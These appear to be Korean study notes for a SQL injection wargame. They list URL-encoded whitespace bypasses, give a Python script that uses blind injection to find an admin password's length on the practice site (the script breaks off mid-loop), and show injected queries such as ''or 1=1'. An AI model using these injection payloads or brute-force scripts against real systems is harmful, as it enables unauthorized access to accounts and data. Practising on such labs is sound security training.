1. 화이트 스페이스(빈칸) 우회 - Tab : %09 - Lind Feed(\n) : %0a - Carrage Return(\r) : %0d

import requests password = "" for k in range(1, 20): url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php? pw=%27 or id=%27admin%27 and length(pw) = " + str(k) + "%23" r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) print("try password length = " + str(k)) if 'Hello admin' in r.text: print("[+] find password length = " + str(k)) for j in range..

query : select id from prob_cobolt where id='' or 1=1 ' and pw=md5('')

query : select id from prob_gremlin where id='' and pw=''